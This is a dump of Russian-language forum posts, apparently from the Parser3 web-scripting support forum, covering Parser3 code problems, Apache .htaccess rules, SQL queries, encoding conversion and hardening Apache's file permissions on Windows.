попробуйте, возможно, load[text; ...[utf-8]] сделает дело?\
[если там, конечно, utf-8, а не utf-16]"
"52236","но просто на хешах сделать тоже проблем нет."
"52237","напишите туда слово 'bug' в отдельной строке, в браузере должны увидеть ошибку.\
если не увидели, перепроверьте имя \".htaccess\", потом перепроверьте, обрабатывает ли apache эти файлы."
"52238","однако тут похоже нужно все таки делать несколько запросов, т.к. дублироваться похоже будут не только названия, но и ещё пачка текстовых полей, а это - трафик между парсером и sql + память.\
\
поэтому я наверное сделал бы ещё несколько простых запросов."
"52239","отдельно можно подумать о том, что [i]иногда[/i] можно схалявить,\
и не пытаться построить красивый XML.\
а переложить задачу в руки XSLT.\
\
там есть свой инструмент ускорения обработки (свои хэши):\
[code]<xsl:key[/code]"
"52240","[code]\
[moko@moko //home/paf/t]$ uname -a\
Linux moko.design.ru 2.6.16.1-mail #1 Wed Mar 29 23:16:42 MSD 2006 i686 unknown\
[moko@moko //home/paf/t]$ wget http://www.parser.ru/f/1/download/redhat/parser3_1_6_redhat7\
xml.tar.gz\
--22:06:07--  http://www.parser.ru:80/f/1/download/redhat/parser3_1_6_redhat73_cgi_xml.tar.gz\
           => `parser3_1_6_redhat73_cgi_xml.tar.gz'\
Connecting to www.parser.ru:80... connected!\
HTTP request sent, fetching headers... done.\
Length: 669,741 [application/x-tar]\
[...]\
[moko@moko //home/paf/t]$ tar vxzf parser3_1_6_redhat73_cgi_xml.tar.gz\
parser3/parser3.cgi\
parser3/README\
[moko@moko //home/paf/t]$ parser3/parser3.cgi\
parser3/parser3.cgi: file not specified\
Parser/3.1.6sp2 (compiled on i686-pc-linux-gnu)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: parser3/parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[moko@moko //home/paf/t]$ cat t.html\
^xdoc::load[a]\
[moko@moko //home/paf/t]$ parser3/parser3.cgi t.html\
: /home/paf/t/t.html(1:8): 'a' warning: failed to load external entity \"/home/paf/t/a\" [xml]\
[moko@moko //home/paf/t]$\
[/code]"
"52243","parser3_2_1 собран по инструкции под freebsd6\
\
$previewImg[^file::exec[/usr/local/bin/convert;;-size 200x200;\
/path/to/sourceImage;-resize 200x200;\
/path/to/destImage]]\
\
этот код выдаёт ошибку\
\
stat failed: No such file or directory (2), actual filename '/home/username/htdocs/usr/local/bin/convert'\
\
прикол в том, что convert всё сделал, т.е. отресайзил файл и положил куда надо (т.е. convert всё-таки был найден), но почему вылезает ошибка?"
"52244","Здравствуйте, возникла проблема:\
\
В файле .htaccess в корне веб-пространства код:\
\
[code]RewriteEngine On\
\
RewriteBase /\
\
# физический(реальный) путь /authors/?name=pupkin\
# для красоты делаю ссылку /authors/pupkin/\
RewriteRule ^authors/([^/]+)/$ /authors/?name=$1\
\
# физ. путь /authors/gbook/?name=pupkin\
# а делаю ссылку /authors/pupkin/gbook/\
RewriteRule ^authors/([^/]+)/gbook/$ /authors/gbook/?name=$1[/code]\
\
Проблема:\
Первое правило срабатывает, а второе нет.\
Т.е. в итоге на самом деле не происходит входа в реальный каталог /authors/gbook/\
При нажатии ссылки /authors/pupkin/gbook/ обработка производится в каталоге /authors/ , а не в /authors/gbook/\
\
Во втором правиле ведь подставляется /authors/gbook/?name=$1 – т.е., получается, должен происходить вход в каталог gbook, но почему-то не заходит...\
\
\
[b]Вот такой код работает:[/b]\
\
[code]RewriteEngine On\
\
RewriteBase /\
\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^authors/([^/]+)/$ /authors/?name=$1\
\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^authors/([^/]+)/gbook/$ /authors/gbook/?name=$1[/code]\
\
[b]Но неужели в моем случае нельзя обойтись без RewriteCond?[/b]\
Мне кажется его использование здесь можно избежать, если можно – то каким образом, а если нет – то можно ли упростить работающий код?"
"52245","Я примерно так и понимал интуитивно, но для меня понятие сложности SQL-запроса оформлено не очень чётко. Что поделаешь - ламер :)\
\
Скажите, пожалуйста, при запросе к БД ресурсы расходуются пропорционально количеству возвращаемых данных, или же пропорционально количеству, если можно так выразиться, \"накладываемых ограничений\"? Я понимаю что зависит и от того, и от другого, но где узкое место?"
"52246","Есть такой вот простой код, который создает переменные с именем колоники name и вносит в них содержание колонки content:\
[code]\
@object_contents_to_name[id]\
$names[^table::sql{SELECT name, text FROM contents WHERE post_id = '$id'}]\
^if(def names){\
^names.menu{\
\
$[$names.name][$names.text]\
#test <b>${names.name}:</b> $[$names.name]</br>\
}\
}[/code]\
Затем он вставляется в страницу например так\
[code]\
^object_contents_to_name[$form:id]\
<input type=\"text\" name=\"text\" value=\"$lead\" />[/code]\
А проблема в с том что переменная существует в контексте метода, а вне контекста она не определена."
"52247","Спасибо за подсказку.\
Но с XSL мне только ещё предстоит разбираться :)\
\
Давно хотел перейти к схеме \"БД + Parser -> XML -> HTML\", но с задачей, которая другим путём решается совсем уж перректально, столкнулся впервые. Чему несказанно рад :) Наконец представился замечательный повод освоить что-то новое."
"52248","по моему в вашем коде просто кучка ошибок, например:\
^if(def names){} - строка 'names' всегда определена\
$[$names.name][xyz] - что вы этим хотели сказать? вы хотели присвоить значение 'xyz' переменной с именем, которое находится в $names.name? если да, то по моему это делается не так. а вообще считаю такой подход неверным. почему не сделать так:\
\
[code]\
$values[^hash::sql{SELECT name, text FROM contents WHERE post_id = '$id'}]\
[/code]\
\
и у вас то, что лежит в contents.text доступно так $values.ключ, где глюч - значение, которое лежит в contents.name"
"52249","parser понимает, как путь от веб-пространства, а не от корня диска.\
\
то, что что-то там сконвертилось = возможно, глюк.\
\
сделайте .sh файлик с нужной командой, и запускайте уже его.\
вопрос обсуждался."
"52250","по поводу 'names' - да, что-то я\
от hash.sql я  почему-то решил отойти...\
Приму к сведению."
"52251","просто ели запускаю тест -- раскоментирую закоментированную строку, выводится правильный результат"
"52252","[code]$values[^hash::sql{SELECT name, text FROM contents WHERE post_id = '$form:id'}]\
$values.center_filter\
[/code]\
выдает ошибку\
method_frame may not be overwritten with hash, store it to variable instead\
\
Хотя если _keys в файл то там поле присутствует."
"52253","В вашем случае возвращает он - hash of hash.\
Ошибка явно вам говорит, что вы пытаетесь вывести в результат работы хэш. Что в лоб сделать нельзя.\
\
По сему, $values.center_filter -> $values.center_filter.text"
"52255","Стандартный sections.\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\"  bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
Откуда рамки вокруг меню?"
"52256","это вопрос не по Парсеру, а по html."
"52258","Спасибо. Мой глюк."
"52259","Я извлекаю текст из БД обработанный Типографом, т.е. содержащий различные тэги.\
Текст извлекаеться в текстовое поле <input> с использованием ^untaint[as-is].\
[b]Проблема:[/b]если в тексте есть символы типа &laquo; то они нормально приобразовываются в соответвующие символа, а вот тэг <nobr> так и выводиться: \"<nobr>текст-текст</nobr>\".\
В чем проблема? Как сделать чтобы <nobr> тоже применялся?"
"52260","wget файл\
iconv -f UTF-16 -t UTF-8 файл | iconv -f UTF-8 -t CP1251 > перекодированный_файл"
"52261","Теги в инпутах не обрабатываются браузером."
"52263","Вообще эта тема уже обсуждалась и не раз.\
\
Желательно хранить два текстовых поля, текст без форматирования и текст с форматированием. Для редактирования всегда использовать только перый, для вывода второй.\
\
Причин тому масса:\
1. Правильный поиск.\
2. Типографы иногда тоже ошибаются.\
3. Те грабли на которые вы наступили."
"52265","Здраствуйте . Подскажите пожалуйста может ли Parser считывать прайс лист из тхт файла и выводить его в виде таблицы , добавляя каждой строчке индекс ? Если может то подскажите как должен выглядеть этот скрипт . \
В документации ответ найти не удалось.\
\
Прайс лист имеет вид :\
Name1 Price1 Info1\
Name2 Price2 Info2"
"52266","а вот код писать за вас он не может.\
\
в форуме приветствуется следующая последовательность действий:\
\
1. вы пишите код (при этом не забываете про документацию)\
2. если у вас что-то не получается - вы публикуете написанный код в форуме и описываете что вы хотели получить и что получили\
3. вам подсказывают почему у вас что-то не получается"
"52268","тем не менее в одном методе создав эти переменные из другого их прекрасно прочитал, т.е. переменные глобальные, и у меня все работает.\
\
[code]\
@main[]\
$names[^table::create{name	text\
asd	123\
qwe	234\
}]\
\
^set[]\
^test[]\
\
\
\
@set[]\
^names.menu{\
	$[$names.name][$names.text]\
#	test <b>${names.name}:</b> $[$names.name]<br />\
}\
\
\
\
@test[]\
$asd=$qwe\
[/code]"
"52269","аналог mysql_fetch_assoc так удобно делать"
"52270","ftp показывает, что есть!"
"52271","[code]^if($vote.kolvo != 0 && $kolvo != 0){\
$width(100\\(${vote.kolvo}/$kolvo))\
}{\
$width(0)\
}[/code]\
\
Выводит kolvo\
Division by zero\
\
На код:\
[code]^if($vote.kolvo != 0 && $kolvo != 0){\
100\\(${vote.kolvo}/$kolvo)\
}{\
$width(0)\
}[/code]\
\
выводит 100\\(1/2)"
"52272","ошибка на (171:28)\
строка 171: $width(100\\(${vote.kolvo}/$kolvo))"
"52273","Ваша логика должна быть такой:\
[code]\
$width_test(20)\
$test1(100)\
$test2(20)\
$width(100\\(${test1}/${test2}))\
^if($width == $width_test){Работает!}{Не работает}[/code]\
Работает? Работает.\
Следовательно ошибка в данных\
[url=\"http://slovari.yandex.ru/search.xml?text=Division\"]Посмотрю-ка я в Яндексе...[/url]\
[url=\"http://slovari.yandex.ru/search.xml?text=Zero\"]Посмотрю-ка я еще в Яндексе...[/url]\
Анализируете полученную иинформацию. Делаете вывод."
"52276","только perl часто есть, а iconv часто нет.\
кстати, можно в одну строку вытянуть,\
и в $.stdin передать туда текст, а из $.stdout забрать \
= можно обойтись без временных файлов."
"52277","часто ftp так настроен, что показывает меньше, чем есть на деле.\
чтобы узнать полный путь, в /index.html напишите ^bug[],\
получите в сообщении об ошибке полный дисковый путь файла index.html\
тогда всякое \"вроде\" отпадёт.\
\
[b]если[/b] сообщение об ошибке ^bug[]\
и сообщение, которое вас смущает, \
будут содержать сильно разные пути, возможно, вам нужно \
[code]\
#в основом auto.p (там, где @conf)\
#выставить \
$request:document-root[самостоятельно]\
[/code]\
поскольку ваш провайдер выставил эту переменную окружения (DOCUMENT_ROOT) не в соответствии с CGI стандартом."
"52278","Спасибо... уже сам нашёл ошибку!\
Просто вместо целочисленного деления мне следовало поставить знак умножения!"
"52280","Если я подключаю скрипт [code]<script type=\"text/javascript\" src=\"$host/js/poll.js\"></script>[/code], нужен ли ^taint и как?\
\
После подключения js у меня код становится на встрочку, а с огромными пробелами и табами. И еще у меня в одном месте стоит ^taint[uri][текст]. Он не производится. Т.е. текстом так и остается.\
\
Вроде все возможные преобразования перепробовал."
"52281","Если вы подключаете яваскрипт именно так как описали, то ничего внутри самого скрипта ставить не надо."
"52283","Будете смеяться, но оно вылетает из-за опечатки в php.ini:\
\
было:[code]include_path = \"c:/Apache/вебсервер/php/includes/\"[/code]должно быть:[code]include_path = \".;c:/Apache/вебсервер/php/includes/\"[/code]\
\
можете поправить у себя. На sourceforge сейчас выложу обновлённую версию 3.3. Багрепорт [url=\"http://bugs.php.net/bug.php?id=37188\"]завёл[/url]."
"52286","можно было бы и без временных - но суть в том, что здесь файл забирается с сервера раз в несколько минут, а используется парсером , мягко говоря, гораздо чаще. Поэтому читать его лучше с диска..\
\
-\
\
а вот в чём проблема с UTF-16? какие-то сложности или просто никому не надо?"
"52288","[quote]Очень много опечаток: \"возвращайет\", \"модль\"[/quote]\
что увидел - исправил\
[quote]в архиве лежит Мишин класс sql, но в классе форума он не используется [/quote]\
исправил недочет. пока только в классе форума\
[quote]8 штук одинаковых auth::init, когда можно один раз[/quote]\
исправлено\
[quote]value=\"$_parent_id)\"[/quote]\
спасибо, сам бы не нашел\
[quote]@optimize[text]\
$result[$text]\
#$result[^result.match[\\n|\\t][g]{}][/quote]\
не помню откуда взял. Вообщем удалил.\
[quote]\
@getMsgCountUser[uid]\
@getUsersCount[]\
[/quote]\
пока не делал подсчет количества пользователей, поэтому методы не используются.\
\
Вообщем, косметика. на что времени хватило."
"52290","Я имею ввиду типо этого надо:\
[code]^taint[js][<script type=\"text/javascript\" src=\"$host/js/poll.js\"></script>][/code]?"
"52291","вы же выводите НЕ javascript, а ссылку на файл с ним.\
тут вопрос не в самом парсере.\
выспитесь и заново посмотрите на свой код свежим взглядом."
"52292","внутри, когда parser перекодирует что-то куда-то, он это делает через UNICODE (он же \"UTF-16\", он же \"UCS2\", он же \"wchar_t\").\
\
да, никому из наших клиентов не нужно было, вот и нету.\
если будет у кого энтузиазм, приму patch -u."
"52293","Если я вызываю скрипт из раздела <head> в html, то получается такая ерунда. Из других мест - все нормально."
"52297","Сам бы ни за что не заметил. после обеда исправлю."
"52298","Есть две базы данных\
\
[code]\
+----------------------+\
|   one                |\
|----------------------|\
| num_dog |  num_tel   |\
|----------------------|\
|   1     | 9058888888 |\
|----------------------|\
|   2     | 9059999999 |\
+----------------------+\
\
+----------------------+\
|   two                |\
|----------------------|\
| num_dog |  Familia   |\
|----------------------|\
|   1     | Ivanov     |\
|----------------------|\
|   2     | Petrov     |\
+----------------------+\
[/code]\
\
как постоить запрос, чтобы в одну таблицу выбирались поля соответсвующие номеру договора?"
"52300","Если с SQL плохо дружите берите MS Access, создавайте там за пару минут простенькие таблички, вбивайте в них данные, за полминуты визуальными средствами делайте запрос, экспериментируйте с ним до тех пор пока не получите нужный результат. Потом сделайте просмотр в виде SQL, копируйте запрос себе и пользуйтесь.\
Есть конечно олтичия по диалекту Access и MySQL, например, но основные идеи там подсмотерть можно.\
\
А лучше конечно почитать документацию по SQL. :)\
\
P.S.: чтобы решить вашу задачу поиграйтесь со связью в запросе - тип связи поменяйте (там их 3 возможных существует) - вам нужна \"связь со стрелочкой\" :), смотря какая из предложенных таблиц будет главной соответсвенно и направелние связи выберите."
"52301","[code]@body_main[show_all]\
<center><H1>Наличие/отображение товара</H1>\
</center>\
^connect[$connect_string]{ $show_all[^table::sql{SELECT cat_id, name, level, availiable FROM catalogue WHERE level = '$request:query'}] }\
^if($show_all){\
### if we have the query redirect then...\
<center><H2>Мы чичас здесь: $request:query</H2></center>\
<form method=\"post\" enctype=\"multipart/form-data\">\
<table border=\"1\" bordercolor=\"black\" width=\"100%\">\
^show_all.sort{$show_all.name}[desc]\
^show_all.menu{\
<tr valign=\"top\"> \
######### catalogue cell\
<td width=\"40%\" valign=\"middle\"><b>$show_all.name</b></td>\
<td valign=\"middle\">$show_all.level</td>\
######### availiability sign\
<td width=\"10%\" valign=\"middle\">\
^switch[$show_all.availiable]{\
^case[0]{<input name=\"$show_all.cat_id\" type=\"radio\" value=\"1\"><img src=\"/images/yes.gif\" alt=\"Есть в наличии\"><br>\
		<input name=\"$show_all.cat_id\" type=\"radio\" value=\"2\"><img src=\"/images/await.gif\" alt=\"Ожидается\"><br>\
		<input name=\"$show_all.cat_id\" type=\"radio\" value=\"0\" checked><img src=\"/images/no.gif\" alt=\"Нема\">\
		<input name=\"dummy\" type=\"hidden\" value=\"$show_all.cat_id\">}\
^case[1]{<input name=\"$show_all.cat_id\" type=\"radio\" value=\"1\"checked><img src=\"/images/yes.gif\" alt=\"Есть в наличии\"><br>\
		<input name=\"$show_all.cat_id\" type=\"radio\" value=\"2\"><img src=\"/images/await.gif\" alt=\"Ожидается\"><br>\
		<input name=\"$show_all.cat_id\" type=\"radio\" value=\"0\"><img src=\"/images/no.gif\" alt=\"Нема\">\
		<input name=\"dummy\" type=\"hidden\" value=\"$show_all.cat_id\">}\
^case[2]{<input name=\"$show_all.cat_id\" type=\"radio\" value=\"1\"><img src=\"/images/yes.gif\" alt=\"Есть в наличии\"><br>\
		<input name=\"$show_all.cat_id\" type=\"radio\" value=\"2\"checked><img src=\"/images/await.gif\" alt=\"Ожидается\"><br>\
		<input name=\"$show_all.cat_id\" type=\"radio\" value=\"0\" ><img src=\"/images/no.gif\" alt=\"Нема\">\
		<input name=\"dummy\" type=\"hidden\" value=\"$show_all.cat_id\">}\
}\
</td>\
######### END OF catalogue cell\
</tr>\
$av_ch[$form:tables.[$show_all.cat_id]]\
^connect[$connect_string]{\
	^if($av_ch){\
		^void:sql{\
			UPDATE catalogue \
			SET availiable='$av_ch.field' \
			WHERE cat_id='$form:dummy'\
			}\
		$response:refresh[$.value(0)]\
		}\
}\
### end of ^menu below\
}\
</table>\
<input name=\"submit\" type=\"submit\" value=\"Изменить\"> Либо <a href=\"/admin/availiable_check.html\">Выбрать другой раздел</a></form>\
}{\
### but if we don't then... chooser below\
^connect[$connect_string]{ \
<form method=\"post\" enctype=\"multipart/form-data\">\
<center><b>Выберите категорию:</b>$level_select[^table::sql{SELECT level, title FROM menu WHERE r_l = 0}]\
  <select name=\"level\">\
    <option value=\"\"></option>\
    ^level_select.menu{<option value=\"$level_select.level\">$level_select.title</option>}\
  </select><input name=\"13\" type=\"hidden\" value=\"12\">&nbsp^;<input name=\"\" type=\"submit\" value=\"Выбрать\"> ... где будем менять?</center>\
</form>\
}\
^if($form:13 eq '12'){$response:refresh[ \
   $.value(0) \
   $.url[?$form:level]] \
]}\
### end ^if below\
}\
[/code]\
\
таков код странички где используются radiobutton дла переключения статуса наличия товара [0-1-2]. Их соответственно три и значения записываются в БД. только когда я изменяю значения - опять должно происходить считывание статуса с БД и ставить радиобатн checked, но это происходит только после рефреша в лучшем случае, хотя в БД сразуже значения меняются после первой отправки формы.\
Вопрос в том: как бы сделать так, чтобы не смущать человека который изменения сделал (и они зафиксированы в БД) но физически они не отобразились (в качестве перемаркирования radiobutton)???? изза того ли это что данная информация не сразу доступна? я пытался через [code]$response:refresh[...][/code] но чото не то совсем получается-я даже логику результата обновлений не могу проследить..."
"52302","ответив наконец на [url=\"/forum/?id=51751\"]эти[/url] вопросы вы решите вашу проблему."
"52303","Знаете, я пытался и думал что ответил но есть 2 варианта:\
^case[0]{я нихрена не понял}\
^case[1]{я понял но не то} потомучто скрипт не работает так как мне надо! я прошу - просто ткни носом и я буду знать потомучто я и документацию читал и думал и ошибки искал и по форуму лазал.\
Но я вижу что вам проще перерыть полфорума и бросить линку \"на [url=\"http://www.parser.ru/forum/?id=51751\"]эти[/url] вопросы\" чем просто сказать где ошибка. Когда сосед в темноте ударяется головой об стену а вы с той стороны стены и у вас светло, иногда просто мудро открыть дверь, чтобы он хотябы увидел где она! я надеюсь мои недалекие намеки были услышаны. Пожалуйста,умоляю,помоги - ткни носом в ошибку а не отвечай вопросом на вопрос!я реально не догоняю!"
"52304","черт, неужели так сложно додуматься что сначала надо сделать update данных в БД, а лишь потом доставать их для отображения? тогда при выводе у вас будут уже измененные данные... siao liao."
"52305","я вот прямо после записи в БД ставлю и все равно таже фигня получается! мало того, он после этого жутко глючить начал -  буллеты пропадают из радиобатна какбудто там ваще checked не стояло! и зачем нужно заново прописывать считывание из таблицы если при перезагрузке страницы идет считывание с БД по новой? я же не в хеше ее храню! а считывание каждый раз по новой идет!\
да вопрос то не в этом! почему когда у тебя скажем 6 строк этих, ты изменяешь их все, а изменяется только одна верхняя или нижняя - даже если используешь ^menu."
"52306","поможет делу.\
если код \"глючит\", и он не очень большой, со спокойным сердцем выкиньте его.\
\
и напишите спокойно (не около полуночи), другой код.\
начните с простой конструкции, чтобы у вас был только update и за ним select, без всяких там radiobuttons, только тестовые значения на входе и текстовый вывод на выходе.\
\
постепенно на это натяните radiobuttons и нужное количество бантиков, чтобы выглядело на экране красиво.\
\
если будет что не получаться, пусть оно не получится на ранних стадиях, пока код компактный и понятный вам самому и окружающим.\
\
если сами не разберётесь, публикуйте код в форуме -- компактный, чтобы люди не тонули в несущественных деталях."
"52307","Если я правильно понимаю, то методы парсера для работы с БД позволяют выполнять только один запрос за раз и конструкции типа:\
[code]\
^void:sql{\
INSERT INTO my_favourite_table (text) VALUES ('я люблю парсер,...')^;\
INSERT INTO my_favourite_table (text) VALUES ('... но не люблю когда нет денег.')^;\
}\
[/code]\
не пускает.\
Задача: Хацу сделать дамп таблицы ну скажем на 10 000 записей.\
Первое что приходит в голову:\
[code]\
^10000rows.menu{\
  ^void:sql{\
    INSERT INTO ...\
  }\
}\
[/code]\
[b]Вопрос: а есть ли способ лучше?[/b]"
"52308","Читайте доку по mysql:\
[code]INSERT INTO my_favourite_table (text) VALUES ('я люблю парсер,...'),\
('... но не люблю когда нет денег.');\
[/code]\
\
Но гораздо лучще для дампов использовать LOAD DATA INFILE и подготовленный для импорта текстовый файлик."
"52309","Обычный java script вычисляет размер экрана пользователя.\
Как результат запихнуть в переменную, чтоб потом использовать где нужно?\
преобразование в число не проходит. Пытается преобразовать сам скрипт а не результат.\
Сенкс."
"52310","Вариант решения — Ajax"
"52312","как результат засунуть в куку?"
"52314","обычно для этого существуют специальные утилиты, запустив которые (а это можно сделать и парсером) вы получите то что вам нужно быстро и качественно.\
\
P.S. в случае с mysql это mysqldump"
"52315","Помогите разобраться пожалуйста, или намекните, как реализовать следующее:\
Примерный код\
[code]\
@lader[]\
<table width=\"750\"  border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"1\" bordercolor=\"#000000\">\
  		<tr>\
		   <th>№</th>\
  		   <th>Имя игрока</th>\
 	  	   <th>Guild</th>\
		   <th>Base lvl></th>\
		   <th>Job lvl</th>\
		   <th>Class</th>\
		   <th><b>Zeny</th>\
		   <th>Status</th>\
  		</tr>\
</table>\
^connect[$SQL.connect-string]{\
$lader[^table::sql{\
Select\
c.name,\
g.name AS gname,\
r.class_replase AS class,\
c.base_level,\
c.job_level,\
c.zeny,\
s.`status`\
From\
`char` AS c\
Left Join guild AS g ON c.guild_id = g.guild_id\
Left Join replase_status AS s ON c.online = s.online\
Left Join replase_class AS r ON c.class = r.class\
Order By\
c.base_level Desc\
   }[\
	$.limit(200)\
]]\
\
^if($lader){\
      ^lader.menu{\
         <table width=\"750\"  border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"1\" bordercolor=\"#000000\">\
  		<tr>\
		   <th>Счетчик</th>\
  		   <th>$lader.name</th>\
 	   	   <th>$lader.gname</th>\
		   <th>$lader.base_level</th>\
		   <th>$lader.job_level</th>\
		   <th>$lader.class</th>\
		   <th>$lader.zeny</th>\
		   <th>$lader.status</th>\
  		</tr>\
</table>\
          }\
   }{\
      Ладер отсутствует.\
   }\
}\
[/code]\
Не могу сообразить, как можно организовать порядковую нумерацию строк из поступающих данных? (СЧЕТЧИК)\
Заранее спасибо!"
"52316","и отступы Tab'ом ставить неплохо бы:[code]<table..\
	^zzz.menu{\
		<td>...</td>\
	}\
</table>[/code] - без них нечитаемо."
"52319","Огромное спасибо, разобрался, постараюсь быть внимательнее при чтении доки."
"52320","Есть у кого-нибудь?\
А то HomeSite уже начинает напрягать некоторыми своими мелкими глюками. Не смертельно, но утомляет."
"52321","авторы модуля разкраски синтаксиса DW курят неправильную траву.\
\
А что за глюки в Homesite если не секрет?"
"52324","только что воспользовался, однако допущена ошибка:\
\
строчка:\
$string[^string.mid(0;^string.pos[?])]\
совершенно непонятно зачем\
\
заместо нее надо:\
$string[$result.qtail]\
то есть саму query-string\
\
если я правильно понял зачем писался этот метод =)"
"52325","помогите.... на сайте нужен свод все законов , а где их взять , в хорошем виде....."
"52326","ya.ru: mysqldamp"
"52327","Вы говорите поточнее :) и будет Вам ответ"
"52330","Самый раздражающий - это иногда при навигации папок и файлов в левой панели что-то там у него обновляется и весь список файлов и папок сворачивается - вылетаю в корень. А так как у меня куча сайтов в локале и лежат они совсем не в корневой директории - приходится опять докапываться до них. Второй вкупе с первым - когда появится новый файл в папке сайта, в том навигаторе по файлам его не видно, пока не перещелкнешь на другую папку, а потом обратно на эту. И тут нам грозит первый глюк - когда все папки свернутся. Раздражает просто. Так то этот редактор самый удобный - замены давно найти не могу."
"52331","[quote]А так как у меня куча сайтов в локале и лежат они совсем не в корневой директории - приходится опять докапываться до них[/quote]\
Чтобы упростить себе в этом случае жизнь лучше использовать менеждер проектов.\
\
[quote]Второй вкупе с первым - когда появится новый файл в папке сайта, в том навигаторе по файлам его не видно, пока не перещелкнешь на другую папку, а потом обратно на эту.[/quote]\
Можно щелкнуть правой кнопкой мыши на списке файлов и выбрать \"Refresh\"\
\
Кстати, DW Намного глючнее. Самое главное (что вынудило меня от него отказаться) это ХРЕНОВАЯ поддержка кирилицы:\
если в файле, который в нем редактируется не прописать в начале строчку, ЯВНО:\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=WINDOWS-1251\">\
то при очередном обновлении он может не првильно ее отобразить, или хуже того, \"перекодировать\" всю страницу в Latin1."
"52333","Тогда вопрос идиота: обращение к командной строке из парсера каким образом осуществляется?"
"52339","Как можно ограничить доступ к папкам вне DOCUMENT_ROOT на Windows 2003 Server + Apache 1.3 + Parser в виде модуля"
"52340","1. завести в систему пользователя  с именем \"apache\"\
2а. (если apache запускается как обычное приложение) запускаете апач командой \
\
runas.exe /noprofile /user:apache \"apache.exe -k start\"\
\
2b. (если апач запускается как служба) mmc.exe -> services -> перенастроить службу \"Apache\", чтобы запускалась не от пользователя local system, а от пользователя apache\
3.  Закручиваете пользователю apache гайки - делаете его \"гостем\" (даже не \"обычным пользователем\"), запрещаете чтение всех папок, кроме папки с document root, папки с логами и cgi-bin, запрещаете запись всюду, помимо папки, куда в вашем сайте скидываются логи и хэшфайлы.\
\
Почитайте http://www.iisanswers.com/articles/IIS_Lockdown/IISLockdown.htm со строки [i]\"Set file permissions to prevent anonymous IIS users from\"[/i] - вам в итоге нужно сделать похожее."
"52341","Откопал интересную [url=\"http://www.parser.ru/forum/?id=38801\"]тему[/url]\
Хотел поинтересоваться,реализовали ли что-то из данного поста? \
Или все закончилось не успев начаться? =("
"52342","То есть ограничить DOCUMENT_ROOT одним адресом, а что бы все остальные проекты имели доступ к диску."
"52343","Дело происходит под win2003 c использованием швейцарского ножика.\
в нем парсер работает как модуль апача.\
при переключении на CGI версию не воспроизводится (в смысле не вылетает :) )\
[code]\
### test.html\
@main[]\
\
$bugtest[^hashfile::open[/hashfiles/bugtest]]\
\
$bugtest.string[da string]\
^sleep(15)\
\
\
<a href=\"$request:uri\">$bugtest.string</a>\
[/code]\
\
При одновременном открытии в 3-4 окнах в нескольких из них показывает\
\
[quot] \
\
В работе Parser произошла ошибка:\
apr_sdbm_open(shared) error: Unknown error (-1)\
Ошибку вызвал этот фрагмент:\
open \
Ошибка произошла при работе с файлом:\
/test.html, строка номер 3\
\
[/quot]"
"52346","\"trusted_apache\" и \"untrusted_apache\" - одному завинчиваете гайки, другому нет..\
\
Другого пути нет (apache под windows не умеет работать как полсотни разных пользователей...)"
"52349","UltraEdit-32 v12.00\
[url=\"http://www.ultraedit.com/index.php?name=Downloads&d_op=getit&lid=1\"]если кто еще не ...[/url]"
"52350","Здравствуйте.\
Не могли бы вы мне подсказать где ошибка в этом ламерском коде...\
Это обыкновенная альтернативная навигация по примеру из второго парсера. \
Всего 4 страницы.\
\
sections.cfg:\
id	name	uri\
1	главная	/navig/\
2	первая	/navig/aa\
3	вторая	/navig/bb\
4	третья	/navig/cc\
\
Можно сказать что код работает наполовину, т.е. при наборе 127.0.0.1/navig/index.html показывает ссылки, но активные ссылки всегда идут на главную стр, а не между страницами.\
Подскажите как правильно составить строку  <a href=\"^sections.offset[cur](-1)\">назад</a>(думаю в ней ошибка)\
\
@method[]\
$sections[^table::load[sections.cfg]]\
^sections.menu{\
<a href=\"$sections.uri\">$sections.name</a>\
}[p]\
\
^if(^sections.locate[uri;$request:uri]){\
          ^if(^sections.line[]==1){\
               назад\
           }{\
              <a href=\"^sections.offset[cur](-1)\">назад</a>\
           }\
}          \
^if(^sections.locate[uri;$request:uri]){\
        ^if(^sections.line[]==^sections.count[]){\
              вперёд\
          }{\
             <a href=\"^sections.offset[cur](1)\">вперёд</a>\
          }\
}\
\
\
@main[]\
^method[]\
\
Понимаю что вопрос ламерский, но в поиске говорилось что offset заменяет next,prev.\
Может подскажете... \
p.s. вроде сайт небольшой написал, а в простейшем не могу разобраться.((("
"52351","Думаю этот баг есть в обеих версиях"
"52352","[i]sogvit[/i], читать доки лучше! offset только [quote][b]Смещает[/b] указатель текущей строки на указанное число вниз[/quote]\
Соответственно пишем так:\
[code]\
@method[]\
$sections[^table::load[sections.cfg]]\
^sections.menu{\
  <a href=\"$sections.uri\">$sections.name</a>\
}[|]\
<br>\
^if(^sections.locate[uri;$request:uri]){\
  ^if(^sections.line[]==1){\
    назад\
  }{\
  ^sections.offset[cur](-1)\
  <a href=\"$sections.uri\">назад</a>\
  }\
}\
^if(^sections.locate[uri;$request:uri]){\
  ^if(^sections.line[]==^sections.count[]){\
    вперёд\
  }{\
    ^sections.offset[cur](1)\
    <a href=\"$sections.uri\">вперёд</a>\
  }\
}\
\
@main[]\
  ^method[]\
[/code]\
Удачи!"
"52354","Во-первых, что лучше:\
[code]^file::load[[b]text[/b];http:// ... /pic.jpg;$.method[HEAD]][/code]\
или\
[code]^file::load[[b]binary[/b];http:// ... /pic.jpg;$.method[HEAD]][/code]\
\
И кто-нибудь сравнивал скорость получения заголовков и просто закачки файла.\
По моим тестам получается быстрее загрузить файл на сервер, чем получить заголовки, конечно не всегда, но при загрузке заголовков больше ошибок по tiomeout"
"52355","http://www.plyushkin.fromru.com/"
"52358","[url=\"http://gb.verner.ru/gb/225472.html\"]МАХОРКА?[/url]"
"52359","[code]\
$xdoc_object[^xdoc::create{<node/>}]\
[/code]\
